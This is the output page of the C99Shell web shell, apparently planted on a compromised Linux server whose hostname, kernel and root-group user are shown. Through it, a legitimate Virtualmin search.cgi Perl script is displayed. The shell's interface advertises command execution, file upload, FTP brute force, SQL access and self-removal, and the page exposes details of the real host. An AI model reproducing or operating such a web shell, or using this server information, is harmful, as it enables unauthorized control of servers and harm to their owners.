!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 29.32 GB of 117.98 GB (24.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     search.cgi (2.18 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# search.cgi
# Display domains matching some search

require './virtual-server-lib.pl';
&ReadParse();

# If search is by parent, look it up
$oldwhat = $in{'what'};
if (($in{'field'} eq "parent" || $in{'field'} eq "alias") &&
    $in{'what'} !~ /^\d+$/) {
    # Convert domain name to ID
    $pd = &get_domain_by("dom", $in{'what'});
    $in{'what'} = $pd->{'id'} if ($pd);
    }
elsif ($in{'field'} eq "template" && $in{'what'} !~ /^\d+$/) {
    # Convert template name to ID
    ($tmpl) = grep { $_->{'name'} =~ /\Q$in{'what'}\E/i } &list_templates();
    $in{'what'} = $tmpl->{'id'} if ($tmpl);
    }

# Do the search
foreach $d (&list_domains()) {
    next if (!&can_edit_domain($d));
    if ($d->{$in{'field'}} =~ /\Q$in{'what'}\E/i) {
        push(@doms, $d);
        }
    }

&ui_print_header(undef, $text{'search_title'}, "");
$isfeat = &indexof($in{'field'}, @features) >= 0;
if ($isfeat) {
    $fname = $text{'feature_'.$in{'field'}};
    }

if (!@doms) {
    if ($in{'nonemsg'}) {
        print "<b>$in{'nonemsg'}</b><p>\n";
        }
    elsif ($isfeat) {
        print "<b>",&text('search_nonef', $fname),"</b><p>\n";
        }
    else {
        print "<b>",&text('search_none',
                  "<tt>$oldwhat</tt>"),"</b><p>\n";
        }
    }
else {
    if ($in{'msg'}) {
        print "<b>$in{'msg'}</b><p>\n";
        }
    elsif ($isfeat) {
        print "<b>",&text('search_resultsf', $fname,
                  scalar(@doms)),"</b><p>\n";
        }
    else {
        print "<b>",&text('search_results', "<tt>$oldwhat</tt>",
                  scalar(@doms)),"</b><p>\n";
        }
    print &ui_form_start("domain_form.cgi");
    @links = ( );
    if ($virtualmin_pro) {
        push(@links, &select_all_link("d"),
                 &select_invert_link("d") );
        }
    print &ui_links_row(\@links);
    &domains_table(\@doms, $virtualmin_pro, 0,
           $in{'field'} eq 'parent' ? [ 'user', 'quota', 'squota', 'uquota' ]
                    : [ ]);
    print &ui_links_row(\@links);
    if ($virtualmin_pro && &can_config_domain($doms[0])) {
        print &ui_submit($text{'index_delete'}, "delete"),"\n";
        print &ui_submit($text{'index_mass'}, "mass"),"\n";
        if (&can_disable_domain($doms[0])) {
            print "&nbsp;&nbsp;\n";
            print &ui_submit($text{'index_disable'},"disable"),"\n";
            print &ui_submit($text{'index_enable'}, "enable"),"\n";
            }
        }
    print &ui_form_end();
    }

&ui_print_footer("", $text{'index_return'});


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--